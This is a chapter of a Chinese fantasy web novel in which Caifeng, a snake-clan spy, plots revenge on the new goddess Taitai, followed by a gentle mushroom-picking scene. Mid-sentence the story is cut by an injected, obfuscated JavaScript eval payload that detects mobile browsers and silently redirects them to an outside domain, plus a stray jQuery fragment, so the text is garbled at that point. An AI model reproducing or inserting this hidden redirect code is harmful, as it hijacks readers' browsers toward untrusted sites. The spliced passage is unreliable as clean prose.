“仪式好像结束了嘛!”一风华正茂的男子站在离舞台稍远处,无聊地吹了一声口哨。
可是……今日成神的二位,哪个才是自己要找的人呢!
裁风抹了把脸,从袖口出掏出一张勉强称作画像的东西,画中人丑陋至极,简直是人畜不分。
自己早该想到的,怎么能对猛心的画画技巧,有过多的期待,这下想按图索骥都难了。
裁风不会被轻易打倒,他转念一想,若是找本地人问一下,应该不是难事。
他扫视着观众席上的宾客,有两位妙龄女子即将经过他面前。
“两位漂亮的小姐,这里真是热闹极了,今天是什么大日子吗?”裁风作揖,毕恭毕敬道。
“霜见,这人长得真不错。”齐齐本要和霜见拐小路回家,哪知碰到了眼前这位不速之客,于是她堂而皇之打量着眼前人,又偷偷和霜见说悄悄话。
“确实还行。”霜见赞同地点点头,不过她还见过一个更不错的。
“咳咳。”裁风听到了这些“悄悄话”刻意提醒道。
“看您额头有神纹,是来参加孔雀地的成神仪式吧!不过您来的可太迟了,大伙都散场了。”齐齐不好意思打量太久,回过身来解释道。
“结束了吗,真可惜,还没来得及一睹新神的风貌。听说今年孔雀地有两位新神,不知哪一位更加耀眼些。”裁风故作苦恼。
齐齐一听,可来劲了,指着不远处远处骑着神鹿犹如众星捧月般的苔苔。
“那位,看到没有,就她,苔苔,两百岁就成神了,而且还是仁爱堂出身的孤女,当初多少人不看好她,说她不成气候,而现在呢?霜见你说。”
霜见接过话茬,“都是气候。”
“才两百岁吗?短短两百年就修完神学修养了吗?”裁风不由地提高了声音。
“不不不,实际修炼的时间,可能还不到五年……”提起苔苔,齐齐就忍不住显摆,“她啊!简直就是奇迹。”
“那另一位呢!不是有两位新神吗?”裁风忍不住打探道。
齐齐瘪瘪嘴,对着霜见推搡了几下。
提起禧平,霜见也有些扭扭捏捏,好歹也是前东家,更得仔细措辞才行,“另一位,也是神。”
齐齐对禧平没有任何一点好印象,就在齐齐忍不住深度剖析一下禧平的修炼之路时,达婶的呼喊声传来。
“齐齐,霜见,你们还愣着干嘛,赶紧跟上队伍。”
二人听了就像受了惊的鸡崽子一般,慌慌张张穿过拥挤的人群,簇拥在苔苔周围。
而身后,打探到这些消息的裁风,马上换下和善的面孔,红着眼,咬牙切齿盯着远处的苔苔。
区区孔雀,竟两百年就成了神,真是闻所未闻,还不够明显吗,那个叫苔苔的,有如今的实力,一定是服用了父亲鲜血的缘故。
裁风永远忘不掉那个午后,原本被大家一致认为早已仙逝的父亲,突然出现在自己面前。
焦急等待了近两百年的母亲,看到父亲回来,也不再病恹恹的,重新焕发生机,连红蛇地混乱的割据大战都因为父亲回来主持大局而结束了。
可她们一家原本不用经历这些的。
支离破碎的家庭,分裂的国土,这一切都是拜谁所赐?
几番追问下,父亲依旧没有回答,只有猛心看不下去,给了自己一张画像,并且告诉自己,那位始作俑者可能已经成了神。
现在一切昭然若揭,猛心口中的始作俑者就是苔苔。
裁风对苔苔一阵阵嫉恨,他暗暗发誓,要让苔苔受到千百倍的报复。
仪式结束了四五天,裁风一直在暗中观察苔苔,却仍旧未找到突破的机会。
那个男人……实力深不可测,总是警觉的环顾四周,若自己不是仰仗红蛇诡秘狡诈的刺探天赋,恐怕早就被他的利爪撕成碎片了。
裁风望着一直跟在苔苔身后鞍前马后,甚至还莫名其妙化作蝴蝶逗苔苔开心的神明。
他真的是炎神吗?
看起来一点架子都没有。
再说,苔苔身边的神明未免也太多了,神鹿、春神甚至还有刚刚赶来的若耶氏之辈,明面上都是正经又天生向往光明的神,怎么会与苔苔这个阴暗自私的神明同流合污,真是令人费解。
来的人越多,就越不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464502|169800||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好下手,就在裁风几乎要失去信心时,好像机会来了。
裁风栖息在古树背上,兴奋的吐着蛇信子。
……
“苔苔,你真的要一个人上山吗?”
稚英帮苔苔背好背篓,又从怀中拿出帕子给苔苔擦汗。
一阵清风吹过,苔苔的头发随风微微摆动。
稚英内心一软,浑身酥麻,也顾不上一些扭扭捏捏,张口就说:“苔苔,你的头发就像是风吹起的云那般美丽!”
苔苔羞涩地撇过脸,稚英一本正经说这些,也太可爱了吧!
她现在不知该如何回应了。
“那……现在上山正好,这个季节的小蘑菇可好吃了,若是有缘分,再碰到透明旱金莲就更好了。”
稚英回过神来才发现自己的失态,他跟着苔苔的思路,掩饰似的直摇头,“旱金莲可遇不可求,而且小溪他们都是熟客,你干脆也不要上山了,我们下馆子去,简单省事。”
苔苔扭过头去,不听不听:“人家大老远来了,我们得好好招待人家,尽地主之谊。”
“不然让我陪你去!你一个人我实在不放心。”稚英黏黏糊糊,一点都不像他原本的样子。
“那更不行了,你人高马大的,不仅会把那些小蘑菇吓跑,还会把它们的窝踩坏咧!”
稚英灵机一动,随手化蝶,安安静静趴在背篓上,“那我现在可以陪你去了吧!”
一旁的春神观望了许久,还是受不了了,对着神鹿不耐烦道:“她们两个这是在干嘛?就采个蘑菇怎么搞得生离死别一样。”
神鹿舒服地转了个身,方便春神撸毛,眯起眼睛不作回答。
苔苔把蝴蝶从背篓上摘下来,轻轻抚摸后,放飞于空中,“不行,你也有任务呀!帮我找点栀子和面粉,我晚上要做栀子窝窝头。”
稚英见苔苔态度坚决,内心叹气,“好吧,我都听你的!”
春神忍不住翻白眼,对神鹿吐槽,“这一幕要是被英舒看到,能气疯了,一向和自己对着干的叛逆儿子,竟也有这么乖巧听话的时候。”
神鹿又闲适地翻了一个身,依旧不作回答。